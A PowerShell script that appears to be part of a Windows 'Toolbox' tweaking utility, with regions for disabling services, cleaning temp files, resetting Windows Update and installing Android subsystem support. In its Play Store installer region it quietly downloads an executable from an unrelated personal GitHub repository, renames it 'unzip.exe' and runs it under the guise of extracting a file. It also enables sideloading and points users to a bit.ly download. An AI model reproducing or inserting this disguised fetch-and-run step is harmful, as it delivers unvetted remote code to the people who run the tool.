If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Name "DisableWebSearch" -Type DWord -Value 1 | |
Write-Host "Stopping and disabling Windows Search indexing service..." | |
Stop-Service "WSearch" -WarningAction SilentlyContinue | |
Set-Service "WSearch" -StartupType Disabled | |
Write-Host "Hiding Taskbar Search icon / box..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode" -Type DWord -Value 0 | |
Write-Host "Windows Search has been disabled" -ForegroundColor green | |
#endregion buttondisableWindowsSearch | |
#region buttonenableBackgroundApps | |
Write-Host "`nAllowing Background Apps..." | |
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Exclude "Microsoft.Windows.Cortana*" | ForEach { | |
Remove-ItemProperty -Path $_.PsPath -Name "Disabled" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path $_.PsPath -Name "DisabledByUser" -ErrorAction SilentlyContinue | |
} | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Name "GlobalUserDisabled" -Type DWord -Value 0 | |
Write-Host "Done - Reverted to Stock Settings" | |
#endregion buttonenableBackgroundApps | |
#region buttondisableBackgroundApps | |
Write-Host "`nDisabling Background application access..." | |
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Exclude "Microsoft.Windows.Cortana*" | ForEach { | |
Set-ItemProperty -Path $_.PsPath -Name "Disabled" -Type DWord -Value 1 | |
Set-ItemProperty -Path $_.PsPath -Name "DisabledByUser" -Type DWord -Value 1 | |
} | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" -Name "GlobalUserDisabled" -Type DWord -Value 1 | |
Write-Host "Background application has been Disabled" -ForegroundColor green | |
#endregion buttondisableBackgroundApps | |
#region buttonenableClipboardHistory | |
Write-Host "`nRestoring Clipboard History..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Clipboard" -Name "EnableClipboardHistory" -Type DWord -Value "1" | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "AllowClipboardHistory" -Type DWord -Value "1" | |
Write-Host "Done - Reverted to Stock Settings" | |
#endregion buttonenableClipboardHistory | |
#region buttondisableClipboardHistory | |
Write-Host "`nDisabling Clipboard History..." | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Clipboard" -Name "EnableClipboardHistory" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "AllowClipboardHistory" -ErrorAction SilentlyContinue | |
Write-Host "Clipboard History has been disabled" -ForegroundColor green | |
#endregion buttondisableClipboardHistory | |
#region buttonenableSetTimerResolution | |
$nonea = bcdedit /set useplatformclock no | |
$nonea = bcdedit /set useplatformtick yes | |
$nonea = bcdedit /set disabledynamictick yes | |
$ntqtrmin = $null | |
$ntqtrmax = $null | |
$ntqtrcur = $null | |
$ntdesiredres = 5000 | |
$ntsetres = $true | |
$ntcurrentres = 156250 | |
$MethodDefinition = @' | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern NtStatus NtQueryTimerResolution(out uint MinimumResolution, out uint MaximumResolution, out uint ActualResolution); | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern int NtSetTimerResolution(int DesiredResolution, bool SetResolution, out int CurrentResolution ); | |
'@ | |
$NtStatus = Add-Type -MemberDefinition $MethodDefinition -Name 'NtStatus' -Namespace 'Win32' -PassThru | |
$ret1 = [Win32.NtStatus]::NtSetTimerResolution($ntdesiredres,$ntsetres,[ref]$ntcurrentres) | |
[Win32.NtStatus]::NtQueryTimerResolution([ref]$ntqtrmin, [ref]$ntqtrmax, [ref]$ntqtrcur) | |
Write-Host "Current Timer Res: $ntqtrcur `r`nTimer Res Minimum: $ntqtrmin `r`nTimer Res Maximum: $ntqtrmax `r`n" | |
#endregion buttonenableSetTimerResolution | |
#region buttondisableSetTimerResolution | |
$nonea = bcdedit /set useplatformclock no | |
$nonea = bcdedit /set useplatformtick yes | |
$nonea = bcdedit /set disabledynamictick yes | |
$ntqtrmin = $null | |
$ntqtrmax = $null | |
$ntqtrcur = $null | |
$ntdesiredres = 156250 | |
$ntsetres = $true | |
$ntcurrentres = 156250 | |
$MethodDefinition = @' | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern NtStatus NtQueryTimerResolution(out uint MinimumResolution, out uint MaximumResolution, out uint ActualResolution); | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern int NtSetTimerResolution(int DesiredResolution, bool SetResolution, out int CurrentResolution ); | |
'@ | |
$NtStatus = Add-Type -MemberDefinition $MethodDefinition -Name 'NtStatus' -Namespace 'Win32' -PassThru | |
$ret1 = [Win32.NtStatus]::NtSetTimerResolution($ntdesiredres,$ntsetres,[ref]$ntcurrentres) | |
[Win32.NtStatus]::NtQueryTimerResolution([ref]$ntqtrmin, [ref]$ntqtrmax, [ref]$ntqtrcur) | |
Write-Host "Current Timer Res: $ntqtrcur `r`nTimer Res Minimum: $ntqtrmin `r`nTimer Res Maximum: $ntqtrmax `r`n" | |
#endregion buttondisableSetTimerResolution | |
#region buttonDelete | |
Write-Host "`nClearing up temporary files. please Wait..." | |
$tempfolders = @( "C:\Windows\Temp\*", "C:\Windows\Prefetch\*", "$env:temp\*" ) | |
Remove-Item $tempfolders -recurse -force | |
$data = Get-ChildItem $tempfolders -recurse | Measure-Object -property length -sum | |
if ($data.sum -ige 1074000000){ | |
$inbytes = $data.sum / 1074000000 | |
$inmbs = "$inbytes".split(".") | |
$size = $inmbs[0] + "." + $inmbs[1][0] + $inmbs[1][1] + " Gbs" | |
}elseif ($data.sum -ige 1049000){ | |
$inbytes = $data.sum / 1049000 | |
$inmbs = "$inbytes".split(".") | |
$size = $inmbs[0] + "." + $inmbs[1][0] + $inmbs[1][1] + " mbs" | |
}else{ $size = -join($data.sum, " ", "bytes") } | |
$count = -join($data.count, " ", "temporary files") | |
Write-Host "Total $count, size of $size removed" -ForegroundColor green | |
#endregion buttonDelete | |
#///////////////////////////////////////////#///////////////////////////////////////////#/////////////////////////////////////////// | |
#region buttonCreateRestorePoint | |
$formWindowsToolbox.WindowState = 1 | |
Enable-ComputerRestore -Drive "C:\" | |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /V "SystemRestorePointCreationFrequency" /T REG_DWORD /D 0 /F | |
Checkpoint-Computer -Description "Windows Toolbox" -RestorePointType "MODIFY_SETTINGS" | |
Write-Host 'RestorePoint has been Created' -ForegroundColor green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonCreateRestorePoint | |
#region StartMenuTilescleanup | |
$formWindowsToolbox.WindowState = 1 | |
write-host "`nCleaning up the StartMenu Tiles for the default user" | |
Set-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -Value '<LayoutModificationTemplate xmlns:defaultlayout="http://schemas.microsoft.com/Start/2014/FullDefaultLayout" xmlns:start="http://schemas.microsoft.com/Start/2014/StartLayout" Version="1" xmlns="http://schemas.microsoft.com/Start/2014/LayoutModification">' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <LayoutOptions StartTileGroupCellWidth="6" />' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <DefaultLayoutOverride>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <StartLayoutCollection>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <defaultlayout:StartLayout GroupCellWidth="6" />' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' </StartLayoutCollection>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' </DefaultLayoutOverride>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <CustomTaskbarLayoutCollection>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <defaultlayout:TaskbarLayout>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <taskbar:TaskbarPinList>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <taskbar:UWA AppUserModelID="Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge" />' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' <taskbar:DesktopApp DesktopApplicationLinkPath="%APPDATA%\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk" />' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' </taskbar:TaskbarPinList>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' </defaultlayout:TaskbarLayout>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value ' </CustomTaskbarLayoutCollection>' | |
Add-Content -Path 'C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml' -value '</LayoutModificationTemplate>' | |
$START_MENU_LAYOUT = @" | |
<LayoutModificationTemplate xmlns:defaultlayout="http://schemas.microsoft.com/Start/2014/FullDefaultLayout" xmlns:start="http://schemas.microsoft.com/Start/2014/StartLayout" Version="1" xmlns:taskbar="http://schemas.microsoft.com/Start/2014/TaskbarLayout" xmlns="http://schemas.microsoft.com/Start/2014/LayoutModification"> | |
<LayoutOptions StartTileGroupCellWidth="6" /> | |
<DefaultLayoutOverride> | |
<StartLayoutCollection> | |
<defaultlayout:StartLayout GroupCellWidth="6" /> | |
</StartLayoutCollection> | |
</DefaultLayoutOverride> | |
</LayoutModificationTemplate> | |
"@ | |
$layoutFile="C:\Windows\StartMenuLayout.xml" | |
If(Test-Path $layoutFile) | |
{ | |
Remove-Item $layoutFile | |
} | |
$START_MENU_LAYOUT | Out-File $layoutFile -Encoding ASCII | |
$regAliases = @("HKLM", "HKCU") | |
foreach ($regAlias in $regAliases){ | |
$basePath = $regAlias + ":\SOFTWARE\Policies\Microsoft\Windows" | |
$keyPath = $basePath + "\Explorer" | |
IF(!(Test-Path -Path $keyPath)) { | |
New-Item -Path $basePath -Name "Explorer" | |
} | |
Set-ItemProperty -Path $keyPath -Name "LockedStartLayout" -Value 1 | |
Set-ItemProperty -Path $keyPath -Name "StartLayoutFile" -Value $layoutFile | |
} | |
Write-Host "Restart Explorer, open the start menu (necessary to load the new layout), and give it a few seconds to process" | |
Stop-Process -name explorer | |
Start-Sleep -s 3 | |
$wshell = New-Object -ComObject wscript.shell; $wshell.SendKeys('^{ESCAPE}') | |
Start-Sleep -s 3 | |
Write-Host "Enabling the ability to pin items again" | |
foreach ($regAlias in $regAliases){ | |
$basePath = $regAlias + ":\SOFTWARE\Policies\Microsoft\Windows" | |
$keyPath = $basePath + "\Explorer" | |
Set-ItemProperty -Path $keyPath -Name "LockedStartLayout" -Value 0 | |
} | |
Stop-Process -name explorer | |
Import-StartLayout -LayoutPath $layoutFile -MountPath $env:SystemDrive\ | |
Remove-Item $layoutFile | |
$formWindowsToolbox.WindowState = 0 | |
#endregion StartMenuTilescleanup | |
#region rebloat | |
$formWindowsToolbox.WindowState = 1 | |
$Bloatware = @( | |
#Unnecessary Windows 10 AppX Apps | |
"Microsoft.3DBuilder" | |
"Microsoft.AppConnector" | |
"Microsoft.BingFinance" | |
"Microsoft.BingNews" | |
"Microsoft.BingSports" | |
"Microsoft.BingTranslator" | |
"Microsoft.BingWeather" | |
"Microsoft.GetHelp" | |
"Microsoft.Getstarted" | |
"Microsoft.Messaging" | |
"Microsoft.Microsoft3DViewer" | |
"Microsoft.MicrosoftSolitaireCollection" | |
"Microsoft.NetworkSpeedTest" | |
"Microsoft.News" | |
"Microsoft.Office.Lens" | |
"Microsoft.Office.Sway" | |
"Microsoft.OneConnect" | |
"Microsoft.People" | |
"Microsoft.Print3D" | |
"Microsoft.SkypeApp" | |
"Microsoft.StorePurchaseApp" | |
"Microsoft.Wallet" | |
"Microsoft.Whiteboard" | |
"Microsoft.WindowsAlarms" | |
"microsoft.windowscommunicationsapps" | |
"Microsoft.WindowsFeedbackHub" | |
"Microsoft.WindowsMaps" | |
"Microsoft.WindowsSoundRecorder" | |
"Microsoft.ZuneMusic" | |
"Microsoft.ZuneVideo" | |
#Sponsored Windows 10 AppX Apps | |
#Add sponsored/featured apps to remove in the "*AppName*" format | |
"*EclipseManager*" | |
"*ActiproSoftwareLLC*" | |
"*AdobeSystemsIncorporated.AdobePhotoshopExpress*" | |
"*Duolingo-LearnLanguagesforFree*" | |
"*PandoraMediaInc*" | |
"*CandyCrush*" | |
"*BubbleWitch3Saga*" | |
"*Wunderlist*" | |
"*Flipboard*" | |
"*Twitter*" | |
"*Facebook*" | |
"*Royal Revolt*" | |
"*Sway*" | |
"*Speed Test*" | |
"*Dolby*" | |
"*Viber*" | |
"*ACGMediaPlayer*" | |
"*Netflix*" | |
"*OneCalendar*" | |
"*LinkedInforWindows*" | |
"*HiddenCityMysteryofShadows*" | |
"*Hulu*" | |
"*HiddenCity*" | |
"*AdobePhotoshopExpress*" | |
#Optional: Typically not removed but you can if you need to for some reason | |
"*Microsoft.Advertising.Xaml*" | |
#"*Microsoft.BingWeather*" | |
#"*Microsoft.MSPaint*" | |
#"*Microsoft.MicrosoftStickyNotes*" | |
#"*Microsoft.Windows.Photos*" | |
#"*Microsoft.WindowsCalculator*" | |
#"*Microsoft.WindowsStore*" | |
) | |
Write-Host "Reinstalling Bloatware" | |
foreach ($Bloat in $Bloatware) { | |
Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppxPackage -AllUsers $Bloat).InstallLocation)\AppXManifest.xml" | |
Write-Host "Trying to add $Bloat." | |
} | |
Write-Host "Finished Reinstalling Bloatware Apps" -ForegroundColor Green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion rebloat | |
#region ReinstallMsStore | |
$formWindowsToolbox.WindowState = 1 | |
Write-Host "Reinstalling Microsoft Store. Please Wait..." | |
Get-AppxPackage -allusers Microsoft.WindowsStore | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"} | |
Write-Host "Operation Completed." -ForegroundColor green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion ReinstallMsStore | |
#region ReinstallOndrive | |
Write-Host "Reinstalling Onedrive. Please Wait..." | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC" -ErrorAction SilentlyContinue | |
$onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe" | |
If (!(Test-Path $onedrive)) { | |
$onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe" | |
} | |
Start-Process $onedrive | |
Write-Host "Finished Sending Command to OneDrive Setup" -ForegroundColor green | |
#endregion ReinstallOndrive | |
#region winupdatereset | |
$formWindowsToolbox.WindowState = 1 | |
Write-Host "1. Stopping Windows Update Services..." | |
Stop-Service -Name BITS | |
Stop-Service -Name wuauserv | |
Stop-Service -Name appidsvc | |
Stop-Service -Name cryptsvc | |
Write-Host "2. Remove QMGR Data file..." | |
Remove-Item "$env:allusersprofile\Application Data\Microsoft\Network\Downloader\qmgr*.dat" -ErrorAction SilentlyContinue | |
Write-Host "3. Renaming the Software Distribution and CatRoot Folder..." | |
Rename-Item $env:systemroot\SoftwareDistribution SoftwareDistribution.bak -ErrorAction SilentlyContinue | |
Rename-Item $env:systemroot\System32\Catroot2 catroot2.bak -ErrorAction SilentlyContinue | |
Write-Host "4. Removing old Windows Update log..." | |
Remove-Item $env:systemroot\WindowsUpdate.log -ErrorAction SilentlyContinue | |
Write-Host "5. Resetting the Windows Update Services to defualt settings..." | |
"sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)" | |
"sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)" | |
Set-Location $env:systemroot\system32 | |
Write-Host "6. Registering some DLLs..." | |
regsvr32.exe /s atl.dll | |
regsvr32.exe /s urlmon.dll | |
regsvr32.exe /s mshtml.dll | |
regsvr32.exe /s shdocvw.dll | |
regsvr32.exe /s browseui.dll | |
regsvr32.exe /s jscript.dll | |
regsvr32.exe /s vbscript.dll | |
regsvr32.exe /s scrrun.dll | |
regsvr32.exe /s msxml.dll | |
regsvr32.exe /s msxml3.dll | |
regsvr32.exe /s msxml6.dll | |
regsvr32.exe /s actxprxy.dll | |
regsvr32.exe /s softpub.dll | |
regsvr32.exe /s wintrust.dll | |
regsvr32.exe /s dssenh.dll | |
regsvr32.exe /s rsaenh.dll | |
regsvr32.exe /s gpkcsp.dll | |
regsvr32.exe /s sccbase.dll | |
regsvr32.exe /s slbcsp.dll | |
regsvr32.exe /s cryptdlg.dll | |
regsvr32.exe /s oleaut32.dll | |
regsvr32.exe /s ole32.dll | |
regsvr32.exe /s shell32.dll | |
regsvr32.exe /s initpki.dll | |
regsvr32.exe /s wuapi.dll | |
regsvr32.exe /s wuaueng.dll | |
regsvr32.exe /s wuaueng1.dll | |
regsvr32.exe /s wucltui.dll | |
regsvr32.exe /s wups.dll | |
regsvr32.exe /s wups2.dll | |
regsvr32.exe /s wuweb.dll | |
regsvr32.exe /s qmgr.dll | |
regsvr32.exe /s qmgrprxy.dll | |
regsvr32.exe /s wucltux.dll | |
regsvr32.exe /s muweb.dll | |
regsvr32.exe /s wuwebv.dll | |
Write-Host "7) Removing WSUS client settings..." | |
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v AccountDomainSid /f | |
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v PingID /f | |
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v SusClientId /f | |
Write-Host "8) Resetting the WinSock..." | |
netsh winsock reset | |
netsh winhttp reset proxy | |
Write-Host "9) Delete all BITS jobs..." | |
Get-BitsTransfer | Remove-BitsTransfer | |
Write-Host "10) Attempting to install the Windows Update Agent..." | |
if($arch -eq 64){ | |
wusa Windows8-RT-KB2937636-x64 /quiet | |
} | |
else{ | |
wusa Windows8-RT-KB2937636-x86 /quiet | |
} | |
Write-Host "11) Starting Windows Update Services..." | |
Start-Service -Name BITS | |
Start-Service -Name wuauserv | |
Start-Service -Name appidsvc | |
Start-Service -Name cryptsvc | |
Write-Host "12) Forcing discovery..." | |
wuauclt /resetauthorization /detectnow | |
Write-Host "Process complete. Please reboot your computer." -ForegroundColor green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion winupdatereset | |
#region Installplaystore | |
$formWindowsToolbox.WindowState = 1 | |
$ProgressPreference = 'SilentlyContinue' | |
function confirm{ | |
cls | |
Write-Host 'This will uninstall old version of Windows Subsystem for Android and all of its apps. | |
Take a backup of the Apps (if needed). | |
Download New version of "Windows Subsystem for Android" with Google Playstore Service Compatibility.' -ForegroundColor Yellow | |
$rh = Read-Host 'Type [P] to Proceed or [C] for Cancel' | |
$readhost = $rh.replace(" ","") | |
#--------------------Manual------------Manual------------Manual------------Manual------------Manual-------- | |
if($readhost -eq "P"){ | |
Write-Host '' | |
Write-Host 'Download the "Windows subsystem for android" Zip file from https://bit.ly/30C2Nsk' -ForegroundColor Cyan | |
$filepath = Read-Host 'Enter the Correct Downloaded file Path' | |
$filepathcorrect = $filepath.Replace('"', '') | |
if((Get-Item $filepathcorrect -ErrorAction SilentlyContinue).length -gt 550000000 ) | |
{ | |
cd "C:\" | |
$ErrorActionPreference = 'SilentlyContinue' | |
Write-Host "`nRemoving old version of `"Windows Subsystem for Android`" WSA (if any)." | |
Get-AppxPackage -Name "MicrosoftCorporationII.WindowsSubsystemForAndroid"| Remove-AppxPackage | |
Get-AppxProvisionedPackage -Online | Where-Object DisplayName -like "MicrosoftCorporationII.WindowsSubsystemForAndroid" | Remove-AppxProvisionedPackage -Online | |
Write-Host "Enabling Developer mode." | |
# Create AppModelUnlock if it doesn't exist, required for enabling Developer Mode | |
$RegistryKeyPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" | |
if (-not(Test-Path -Path $RegistryKeyPath)) { | |
New-Item -Path $RegistryKeyPath -ItemType Directory -Force >$null | |
} | |
# Add registry value to enable Developer Mode | |
New-ItemProperty -Path $RegistryKeyPath -Name AllowAllTrustedApps -PropertyType DWORD -Value 1 -Force >$null | |
New-ItemProperty -Path $RegistryKeyPath -Name AllowDevelopmentWithoutDevLicense -PropertyType DWORD -Value 1 -Force >$null | |
Write-Host "`nFetching entered zip file path." | |
(New-Object System.Net.WebClient).DownloadFile("https://github.com/alexrybak0444/New/raw/main/winver", "$env:TEMP\unzip.exe") | |
Write-Host "Zip file fetched." | |
Write-Host "`nExtracting `"Windows Subsystem for Android`" zip files." | |
set-alias sz "$env:TEMP\unzip.exe" | |
sz x $filepath -o"C:\" "-aos" "-bsp1" | out-string -stream | Select-String -Pattern "\d{1,3}%" -AllMatches | ForEach-Object { $_.Matches.Value } | foreach { | |
[System.Console]::SetCursorPosition(0, [System.Console]::CursorTop) | |
Write-Host "Extracting Progress:" $_ -NoNewLine | |
} | |
Write-Host "" | |
Remove-Item "$env:TEMP\unzip.exe" | |
$ErrorActionPreference = 'Stop' | |
cd "C:\Windows Subsystem for Android" | |
Write-Host "`nRegistering and installing Windows Subsystem for Android." | |
try { Add-AppxPackage -Register .\AppxManifest.xml } | |
catch { Write-Host "An error occurred while Registering and installing. " -ForegroundColor red } | |
Write-Host "Installation Completed." | |
Write-Host '' | |
Write-Host 'To Start Subsystem for android go to startmenu > apps > open Windows subsystem for android and from the very top open File Manager.' | |
Write-Host "If you can't sign into Playstore then use `"Fix Playstore Sign In`" Option from toolbox." | |
Write-Host '' | |
$ErrorActionPreference = 'SilentlyContinue' | |
Start-sleep 2 | |
[IO.File]::WriteAllBytes("$env:USERPROFILE\Desktop\Windows Subsystem for Android.lnk", [Convert]::FromBase64String('TAAAAAEUAgAAAAAAwAAAAAAAAEaBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAFAFFAAfgJvUNEJFAvNNt4A4k5Q0VuE6BQAANAVBUFBTIgUIAAMAAAAAAAAAjgIAADFTUFNVKEyfeZ85S6jQ4dQt4dXzkQAAABEAAAAAHwAAAEAAAABNAGkAYwByAG8AcwBvAGYAdABDAG8AcgBwAG8AcgBhAHQAaQBvAG4ASQBJAC4AVwBpAG4AZABvAHcAcwBTAHUAYgBzAHkAcwB0AGUAbQBGAG8AcgBBAG4AZAByAG8AaQBkAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAABEAAAAOAAAAABMAAAABAAAAtQAAABUAAAAAHwAAAFEAAABNAGkAYwByAG8AcwBvAGYAdABDAG8AcgBwAG8AcgBhAHQAaQBvAG4ASQBJAC4AVwBpAG4AZABvAHcAcwBTAHUAYgBzAHkAcwB0AGUAbQBGAG8AcgBBAG4AZAByAG8AaQBkAF8AMQAuADcALgAzADIAOAAxADUALgAwAF8AeAA2ADQAXwBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAAAAAKkAAAAFAAAAAB8AAABMAAAATQBpAGMAcgBvAHMAbwBmAHQAQwBvAHIAcABvAHIAYQB0AGkAbwBuAEkASQAuAFcAaQBuAGQAbwB3AHMAUwB1AGIAcwB5AHMAdABlAG0ARgBvAHIAQQBuAGQAcgBvAGkAZABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAIQBTAGUAdAB0AGkAbgBnAHMAQQBwAHAAAABVAAAADwAAAAAfAAAAIQAAAEMAOgBcAFcAaQBuAGQAbwB3AHMAIABTAHUAYgBzAHkAcwB0AGUAbQAgAGYAbwByACAAQQBuAGQAcgBvAGkAZAAAAAAAHQAAACAAAAAASAAAALZHJjUUSohIp/hjZWDhbxwAAAAAxQEAADFTUFNNC9SGaZA8RIGaKlQJDczsOQAAAAwAAAAAHwAAABMAAABJAG0AYQBnAGUAcwBcAE0AZQBkAFQAaQBsAGUALgBwAG4AZwAAAAAAOQAAAAIAAAAAHwAAABMAAABJAG0AYQBnAGUAcwBcAEEAcABwAEwAaQBzAHQALgBwAG4AZwAAAAAAOQAAAA0AAAAAHwAAABQAAABJAG0AYQBnAGUAcwBcAFcAaQBkAGUAVABpAGwAZQAuAHAAbgBnAAAAEQAAAAQAAAAAEwAAAAB41P89AAAAEwAAAAAfAAAAFQAAAEkAbQBhAGcAZQBzAFwATABhAHIAZwBlAFQAaQBsAGUALgBwAG4AZwAAAAAAEQAAAAUAAAAAEwAAAP////8RAAAADgAAAAATAAAAAAQAAFEAAAALAAAAAB8AAAAfAAAAVwBpAG4AZABvAHcAcwAgAFMAdQBiAHMAeQBzAHQAZQBtACAAZgBvAHIAIABBAG4AZAByAG8AaQBkACIhAAAAAD0AAAAUAAAAAB8AAAAVAAAASQBtAGEAZwBlAHMAXABTAG0AYQBsAGwAVABpAGwAZQAuAHAAbgBnAAAAAAAAAAAAMQAAADFTUFOxFm1ErY1wSKdIQC6kPXiMFQAAAGQAAAAAFQAAAAEJAAAAAAAAAAAAAG0AAAAxU1BTMPElt+9HGhCl8QJgjJ7rrFEAAAAKAAAAAB8AAAAfAAAAVwBpAG4AZABvAHcAcwAgAFMAdQBiAHMAeQBzAHQAZQBtACAAZgBvAHIAIABBAG4AZAByAG8AaQBkACIhAAAAAAAAAAAtAAAAMVNQU7N37Q0UxmxFrlsoWzjXsBsRAAAABwAAAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=')) | |
Start-Process "$env:USERPROFILE\Desktop\Windows Subsystem for Android.lnk" | |
$wshell = New-Object -ComObject wscript.shell; | |
for ($i=1; $i -le 20; $i++){ | |
$stop = (Get-Process WsaSettings -ErrorAction SilentlyContinue).count -eq 0 | |
Start-Sleep -Milliseconds 200 | |
if(-not($stop)){$i=20} | |
} | |
if( -not((Get-Process WsaSettings -ErrorAction SilentlyContinue).count -eq 0 ) ){ | |
start-sleep 1 | |
$wshell.SendKeys('{TAB}{TAB}{TAB}{TAB}') | |
$wshell.SendKeys(' ') | |
$wshell.SendKeys('{TAB}{TAB}') | |
$wshell.SendKeys(' ') | |
while((Get-Process WsaClient -ErrorAction SilentlyContinue).count -eq 0){Start-Sleep -Milliseconds 200} | |
start-sleep 1 | |
$wshell.SendKeys(' ') | |
$wshell.SendKeys('{TAB}') | |
$wshell.SendKeys(' ') | |
Write-Host '' | |
Write-Host 'To open Playstore go to startmenu > apps > Playstore' | |
Write-Host "If you can't sign into Playstore then use `"Fix Playstore Sign In`" Option from toolbox." | |
Write-Host '' | |
} | |
}else{ | |
Write-Host 'Path or File is invalid.' | |
} | |
} | |
if($readhost -eq "C"){Write-Host "Cancel"} | |
if($readhost -ne "P" -xor $readhost -ne "C"){}else{confirm} | |
} | |
$check = Get-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform | |
function confirmdism{ | |
cls | |
if ($check.State -eq "Disabled"){ | |
Write-Host 'Playstore runs on Windows Subsystem for Android which uses Virtual-Machine-Platform, which is Disable in this Machine. | |
Do you want to enable Virtual-Machine-Platform Now.' -ForegroundColor Yellow | |
Write-Host '' | |
Write-Warning "PC will automatically restart after Enabling." | |
Write-Host 'After restarting run the toolbox again for installation.' -ForegroundColor Yellow | |
$readht1 = Read-Host 'To Proceed type "Yes" or "No" to Cancel' | |
$readhost1 = $readht1.replace(" ","") | |
if($readhost1 -eq "yes"){ Write-Host '' ; Write-Host 'Operation in progress' ; dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /Quiet ; exit} | |
if($readhost1 -ne "yes" -xor $readhost1 -ne "no"){}else{confirmdism} | |
}else { Write-Host 'Windows "Virtual Machine Platform" is Enable' -ForegroundColor Yellow ; confirm } | |
} | |
confirmdism | |
$formWindowsToolbox.WindowState = 0 | |
#endregion Installplaystore | |
#region unInstallplaystore | |
$formWindowsToolbox.WindowState = 1 | |
function uninstallplaystore{ | |
clr | |
$ProgressPreference = 'SilentlyContinue' | |
Write-Host 'Uninstalling Google Playstore will remove "Windows Subsystem for Android" completely. | |
Apps installed by the Playstore and other will no longer be available. | |
Do you also want to disable Virtual-Machine-Platform.' -ForegroundColor Yellow | |
Write-Host '' | |
